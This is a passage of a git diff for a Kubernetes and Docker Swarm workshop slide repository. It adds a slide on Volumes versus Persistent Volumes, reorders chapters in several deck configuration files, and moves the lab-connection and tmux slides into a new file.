- If you're not familiar with Docker volumes, you can safely ignore this slide!
---
+## Volumes ≠ Persistent Volumes
+
+- Volumes and Persistent Volumes are related, but very different!
+
+- *Volumes*:
+
+ - appear in Pod specifications (see next slide)
+
+ - do not exist as API resources (**cannot** do `kubectl get volumes`)
+
+- *Persistent Volumes*:
+
+ - are API resources (**can** do `kubectl get persistentvolumes`)
+
+ - correspond to concrete volumes (e.g. on a SAN, EBS, etc.)
+
+ - cannot be associated to a Pod directly; but through a Persistent Volume Claim
+
+ - won't be discussed further in this section
+
+---
+
## A simple volume example
```yaml
diff --git a/slides/k8s/whatsnext.md b/slides/k8s/whatsnext.md
index 0b7d39be..48ec0550 100644
--- a/slides/k8s/whatsnext.md
+++ b/slides/k8s/whatsnext.md
@@ -132,6 +132,8 @@ And *then* it is time to look at orchestration!
|
[Persistent Volumes](kube-selfpaced.yml.html#toc-highly-available-persistent-volumes)
+- Excellent [blog post](http://www.databasesoup.com/2018/07/should-i-run-postgres-on-kubernetes.html) tackling the question: “Should I run Postgres on Kubernetes?”
+
---
## HTTP traffic handling
diff --git a/slides/kube-fullday.yml b/slides/kube-fullday.yml
index 4c9789ac..f5462d85 100644
--- a/slides/kube-fullday.yml
+++ b/slides/kube-fullday.yml
@@ -20,54 +20,58 @@ chapters:
- shared/about-slides.md
- shared/toc.md
- - shared/prereqs.md
+ - shared/connecting.md
- k8s/versions-k8s.md
- shared/sampleapp.md
-# - shared/composescale.md
-# - shared/hastyconclusions.md
+ #- shared/composescale.md
+ #- shared/hastyconclusions.md
- shared/composedown.md
- k8s/concepts-k8s.md
- shared/declarative.md
- k8s/declarative.md
-- - k8s/kubenet.md
- - k8s/kubectlget.md
+ - k8s/kubenet.md
+- - k8s/kubectlget.md
- k8s/setup-k8s.md
- k8s/kubectlrun.md
- k8s/deploymentslideshow.md
- k8s/kubectlexpose.md
- - k8s/shippingimages.md
-# - k8s/buildshiprun-selfhosted.md
+ #- k8s/buildshiprun-selfhosted.md
- k8s/buildshiprun-dockerhub.md
- k8s/ourapponkube.md
-# - k8s/kubectlproxy.md
-# - k8s/localkubeconfig.md
-# - k8s/accessinternal.md
+ #- k8s/kubectlproxy.md
+ #- k8s/localkubeconfig.md
+ #- k8s/accessinternal.md
- k8s/dashboard.md
-# - k8s/kubectlscale.md
+ #- k8s/kubectlscale.md
- k8s/scalingdockercoins.md
- shared/hastyconclusions.md
- k8s/daemonset.md
- - k8s/rollout.md
-# - k8s/healthchecks.md
+ - k8s/namespaces.md
+ #- k8s/kustomize.md
+ #- k8s/helm.md
+ #- k8s/create-chart.md
+ #- k8s/healthchecks.md
- k8s/logs-cli.md
- k8s/logs-centralized.md
-#- - k8s/helm.md
-# - k8s/create-chart.md
-# - k8s/kustomize.md
-# - k8s/namespaces.md
-# - k8s/netpol.md
-# - k8s/authn-authz.md
-# - k8s/csr-api.md
-#- - k8s/ingress.md
-# - k8s/gitworkflows.md
+ #- k8s/netpol.md
+ #- k8s/authn-authz.md
+ #- k8s/csr-api.md
+ #- k8s/podsecuritypolicy.md
+ #- k8s/ingress.md
+ #- k8s/gitworkflows.md
- k8s/prometheus.md
-#- - k8s/volumes.md
-# - k8s/build-with-docker.md
-# - k8s/build-with-kaniko.md
-# - k8s/configuration.md
-#- - k8s/owners-and-dependents.md
-# - k8s/extending-api.md
-# - k8s/statefulsets.md
-# - k8s/portworx.md
+ #- k8s/volumes.md
+ #- k8s/build-with-docker.md
+ #- k8s/build-with-kaniko.md
+ #- k8s/configuration.md
+ #- k8s/owners-and-dependents.md
+ #- k8s/extending-api.md
+ #- k8s/statefulsets.md
+ #- k8s/local-persistent-volumes.md
+ #- k8s/portworx.md
+ #- k8s/staticpods.md
- - k8s/whatsnext.md
- k8s/links.md
- shared/thankyou.md
diff --git a/slides/kube-halfday.yml b/slides/kube-halfday.yml
index 8ff6b2ea..53bc677b 100644
--- a/slides/kube-halfday.yml
+++ b/slides/kube-halfday.yml
@@ -22,6 +22,7 @@ chapters:
- shared/about-slides.md
- shared/toc.md
- - shared/prereqs.md
+ - shared/connecting.md
- k8s/versions-k8s.md
- shared/sampleapp.md
# Bridget doesn't go into as much depth with compose
@@ -53,10 +54,10 @@ chapters:
- - k8s/logs-cli.md
# Bridget hasn't added EFK yet
#- k8s/logs-centralized.md
+ - k8s/namespaces.md
- k8s/helm.md
- k8s/create-chart.md
#- k8s/kustomize.md
- - k8s/namespaces.md
#- k8s/netpol.md
- k8s/whatsnext.md
# - k8s/links.md
diff --git a/slides/kube-selfpaced.yml b/slides/kube-selfpaced.yml
index 5e76c457..932754f1 100644
--- a/slides/kube-selfpaced.yml
+++ b/slides/kube-selfpaced.yml
@@ -20,6 +20,7 @@ chapters:
- shared/about-slides.md
- shared/toc.md
- - shared/prereqs.md
+ - shared/connecting.md
- k8s/versions-k8s.md
- shared/sampleapp.md
- shared/composescale.md
@@ -46,17 +47,18 @@ chapters:
# - k8s/scalingdockercoins.md
# - shared/hastyconclusions.md
- k8s/daemonset.md
-- - k8s/rollout.md
+ - k8s/rollout.md
+- - k8s/namespaces.md
+ - k8s/kustomize.md
+ - k8s/helm.md
+ - k8s/create-chart.md
- k8s/healthchecks.md
- k8s/logs-cli.md
- k8s/logs-centralized.md
-- - k8s/helm.md
- #- k8s/create-chart.md
- - k8s/kustomize.md
- - k8s/namespaces.md
- k8s/netpol.md
- k8s/authn-authz.md
- k8s/csr-api.md
+ - k8s/podsecuritypolicy.md
- - k8s/ingress.md
- k8s/gitworkflows.md
- k8s/prometheus.md
@@ -67,6 +69,7 @@ chapters:
- - k8s/owners-and-dependents.md
- k8s/extending-api.md
- k8s/statefulsets.md
+ - k8s/local-persistent-volumes.md
- k8s/portworx.md
- k8s/staticpods.md
- - k8s/whatsnext.md
diff --git a/slides/kube-twodays.yml b/slides/kube-twodays.yml
index 7dadbff1..e338b627 100644
--- a/slides/kube-twodays.yml
+++ b/slides/kube-twodays.yml
@@ -20,6 +20,7 @@ chapters:
- shared/about-slides.md
- shared/toc.md
- - shared/prereqs.md
+ - shared/connecting.md
- k8s/versions-k8s.md
- shared/sampleapp.md
#- shared/composescale.md
@@ -28,8 +29,8 @@ chapters:
- k8s/concepts-k8s.md
- shared/declarative.md
- k8s/declarative.md
-- - k8s/kubenet.md
- - k8s/kubectlget.md
+ - k8s/kubenet.md
+- - k8s/kubectlget.md
- k8s/setup-k8s.md
- k8s/kubectlrun.md
- k8s/deploymentslideshow.md
@@ -47,16 +48,17 @@ chapters:
- shared/hastyconclusions.md
- - k8s/daemonset.md
- k8s/rollout.md
- - k8s/healthchecks.md
+ - k8s/namespaces.md
+ - k8s/kustomize.md
+ #- k8s/helm.md
+ #- k8s/create-chart.md
+- - k8s/healthchecks.md
- k8s/logs-cli.md
- k8s/logs-centralized.md
-- - k8s/helm.md
- #- k8s/create-chart.md
- - k8s/kustomize.md
- - k8s/namespaces.md
- - k8s/netpol.md
+ #- k8s/netpol.md
- k8s/authn-authz.md
- k8s/csr-api.md
+ - k8s/podsecuritypolicy.md
- - k8s/ingress.md
#- k8s/gitworkflows.md
- k8s/prometheus.md
@@ -65,10 +67,11 @@ chapters:
#- k8s/build-with-kaniko.md
- k8s/configuration.md
#- k8s/owners-and-dependents.md
- - k8s/extending-api.md
+ #- k8s/extending-api.md
- - k8s/statefulsets.md
+ - k8s/local-persistent-volumes.md
- k8s/portworx.md
- - k8s/staticpods.md
+ #- k8s/staticpods.md
- - k8s/whatsnext.md
- k8s/links.md
- shared/thankyou.md
diff --git a/slides/shared/connecting.md b/slides/shared/connecting.md
new file mode 100644
index 00000000..f21d46b7
--- /dev/null
+++ b/slides/shared/connecting.md
@@ -0,0 +1,137 @@
+class: in-person
+
+## Connecting to our lab environment
+
+.exercise[
+
+- Log into the first VM (`node1`) with your SSH client
+
+
+
+- Check that you can SSH (without password) to `node2`:
+ ```bash
+ ssh node2
+ ```
+- Type `exit` or `^D` to come back to `node1`
+
+
+
+]
+
+If anything goes wrong — ask for help!
+
+---
+
+## Doing or re-doing the workshop on your own?
+
+- Use something like
+ [Play-With-Docker](http://play-with-docker.com/) or
+ [Play-With-Kubernetes](https://training.play-with-kubernetes.com/)
+
+ Zero setup effort; but environment are short-lived and
+ might have limited resources
+
+- Create your own cluster (local or cloud VMs)
+
+ Small setup effort; small cost; flexible environments
+
+- Create a bunch of clusters for you and your friends
+ ([instructions](https://@@GITREPO@@/tree/master/prepare-vms))
+
+ Bigger setup effort; ideal for group training
+
+---
+
+class: self-paced
+
+## Get your own Docker nodes
+
+- If you already have some Docker nodes: great!
+
+- If not: let's get some thanks to Play-With-Docker
+
+.exercise[
+
+- Go to http://www.play-with-docker.com/
+
+- Log in
+
+- Create your first node
+
+
+
+]
+
+You will need a Docker ID to use Play-With-Docker.
+
+(Creating a Docker ID is free.)
+
+---
+
+## We will (mostly) interact with node1 only
+
+*These remarks apply only when using multiple nodes, of course.*
+
+- Unless instructed, **all commands must be run from the first VM, `node1`**
+
+- We will only checkout/copy the code on `node1`
+
+- During normal operations, we do not need access to the other nodes
+
+- If we had to troubleshoot issues, we would use a combination of:
+
+ - SSH (to access system logs, daemon status...)
+
+ - Docker API (to check running containers and container engine status)
+
+---
+
+## Terminals
+
+Once in a while, the instructions will say:
+
"Open a new terminal."
+
+There are multiple ways to do this:
+
+- create a new window or tab on your machine, and SSH into the VM;
+
+- use screen or tmux on the VM and open a new window from there.
+
+You are welcome to use the method that you feel the most comfortable with.
+
+---
+
+## Tmux cheatsheet
+
+[Tmux](https://en.wikipedia.org/wiki/Tmux) is a terminal multiplexer like `screen`.
+
+*You don't have to use it or even know about it to follow along.
+
+But some of us like to use it to switch between terminals.
+
+It has been preinstalled on your workshop nodes.*
+
+- Ctrl-b c → creates a new window
+- Ctrl-b n → go to next window
+- Ctrl-b p → go to previous window
+- Ctrl-b " → split window top/bottom
+- Ctrl-b % → split window left/right
+- Ctrl-b Alt-1 → rearrange windows in columns
+- Ctrl-b Alt-2 → rearrange windows in rows
+- Ctrl-b arrows → navigate to other windows
+- Ctrl-b d → detach session
+- tmux attach → reattach to session
diff --git a/slides/shared/prereqs.md b/slides/shared/prereqs.md
index 7840b527..52684b34 100644
--- a/slides/shared/prereqs.md
+++ b/slides/shared/prereqs.md
@@ -169,143 +169,3 @@ class: in-person, extra-details
- It requires UDP ports to be open
(By default, it uses a UDP port between 60000 and 61000)
-
----
-
-class: in-person
-
-## Connecting to our lab environment
-
-.exercise[
-
-- Log into the first VM (`node1`) with your SSH client
-
-
-
-- Check that you can SSH (without password) to `node2`:
- ```bash
- ssh node2
- ```
-- Type `exit` or `^D` to come back to `node1`
-
-
-
-]
-
-If anything goes wrong — ask for help!
-
----
-
-## Doing or re-doing the workshop on your own?
-
-- Use something like
- [Play-With-Docker](http://play-with-docker.com/) or
- [Play-With-Kubernetes](https://training.play-with-kubernetes.com/)
-
- Zero setup effort; but environment are short-lived and
- might have limited resources
-
-- Create your own cluster (local or cloud VMs)
-
- Small setup effort; small cost; flexible environments
-
-- Create a bunch of clusters for you and your friends
- ([instructions](https://@@GITREPO@@/tree/master/prepare-vms))
-
- Bigger setup effort; ideal for group training
-
----
-
-class: self-paced
-
-## Get your own Docker nodes
-
-- If you already have some Docker nodes: great!
-
-- If not: let's get some thanks to Play-With-Docker
-
-.exercise[
-
-- Go to http://www.play-with-docker.com/
-
-- Log in
-
-- Create your first node
-
-
-
-]
-
-You will need a Docker ID to use Play-With-Docker.
-
-(Creating a Docker ID is free.)
-
----
-
-## We will (mostly) interact with node1 only
-
-*These remarks apply only when using multiple nodes, of course.*
-
-- Unless instructed, **all commands must be run from the first VM, `node1`**
-
-- We will only checkout/copy the code on `node1`
-
-- During normal operations, we do not need access to the other nodes
-
-- If we had to troubleshoot issues, we would use a combination of:
-
- - SSH (to access system logs, daemon status...)
-
- - Docker API (to check running containers and container engine status)
-
----
-
-## Terminals
-
-Once in a while, the instructions will say:
-
"Open a new terminal."
-
-There are multiple ways to do this:
-
-- create a new window or tab on your machine, and SSH into the VM;
-
-- use screen or tmux on the VM and open a new window from there.
-
-You are welcome to use the method that you feel the most comfortable with.
-
----
-
-## Tmux cheatsheet
-
-[Tmux](https://en.wikipedia.org/wiki/Tmux) is a terminal multiplexer like `screen`.
-
-*You don't have to use it or even know about it to follow along.
-
-But some of us like to use it to switch between terminals.
-
-It has been preinstalled on your workshop nodes.*
-
-- Ctrl-b c → creates a new window
-- Ctrl-b n → go to next window
-- Ctrl-b p → go to previous window
-- Ctrl-b " → split window top/bottom
-- Ctrl-b % → split window left/right
-- Ctrl-b Alt-1 → rearrange windows in columns
-- Ctrl-b Alt-2 → rearrange windows in rows
-- Ctrl-b arrows → navigate to other windows
-- Ctrl-b d → detach session
-- tmux attach → reattach to session
diff --git a/slides/swarm-fullday.yml b/slides/swarm-fullday.yml
index ab3b38a9..8f30665d 100644
--- a/slides/swarm-fullday.yml
+++ b/slides/swarm-fullday.yml
@@ -24,6 +24,7 @@ chapters:
- shared/about-slides.md
- shared/toc.md
- - shared/prereqs.md
+ - shared/connecting.md
- swarm/versions.md
- shared/sampleapp.md
- shared/composescale.md
diff --git a/slides/swarm-halfday.yml b/slides/swarm-halfday.yml
index d69c5c2c..a80a0733 100644
--- a/slides/swarm-halfday.yml
+++ b/slides/swarm-halfday.yml
@@ -24,6 +24,7 @@ chapters:
- shared/about-slides.md
- shared/toc.md
- - shared/prereqs.md
+ - shared/connecting.md
- swarm/versions.md
- shared/sampleapp.md
- shared/composescale.md
diff --git a/slides/swarm-selfpaced.yml b/slides/swarm-selfpaced.yml
index 73290511..2510eed5 100644
--- a/slides/swarm-selfpaced.yml
+++ b/slides/swarm-selfpaced.yml
@@ -19,6 +19,7 @@ chapters:
- shared/about-slides.md
- shared/toc.md
- - shared/prereqs.md
+ - shared/connecting.md
- swarm/versions.md
- |
name: part-1
diff --git a/slides/swarm-video.yml b/slides/swarm-video.yml
index ba62175a..0d361a40 100644
--- a/slides/swarm-video.yml
+++ b/slides/swarm-video.yml
@@ -19,6 +19,7 @@ chapters:
- shared/about-slides.md
- shared/toc.md
- - shared/prereqs.md
+ - shared/connecting.md
- swarm/versions.md
- |
name: part-1